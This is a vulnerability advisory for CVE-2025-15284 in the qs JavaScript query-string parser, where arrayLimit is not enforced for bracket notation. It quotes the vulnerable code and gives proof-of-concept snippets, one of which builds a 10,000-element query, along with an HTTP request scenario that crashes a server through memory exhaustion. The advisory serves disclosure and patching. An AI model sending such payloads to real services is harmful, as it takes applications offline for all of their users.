CVE-2025-15284

Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.This issue affects qs: < 6.14.1.

SummaryThe arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.

DetailsThe arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):

if (root === '[]' && options.parseArrays) {
obj = utils.combine([], leaf); // No arrayLimit check
}

Working code (lib/parse.js:175):

else if (index <= options.arrayLimit) { // Limit checked here
obj = [];
obj[index] = leaf;
}

The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoCTest 1 – Basic bypass:

npm install qs

const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length); // Output: 6 (should be max 5)

Test 2 – DoS demonstration:

const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length); // Output: 10000 (should be max 100)

Configuration:

* arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)
* Use bracket notation: a[]=value (not indexed a[0]=value)

ImpactDenial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.

Attack scenario:

* Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&…&filters[]=x (100,000+ times)
* Application parses with qs.parse(query, { arrayLimit: 100 })
* qs ignores limit, parses all 100,000 elements into array
* Server memory exhausted → application crashes or becomes unresponsive
* Service unavailable for all users
Real-world impact:

* Single malicious request can crash server
* No authentication required
* Easy to automate and scale
* Affects any endpoint parsing query strings with bracket notation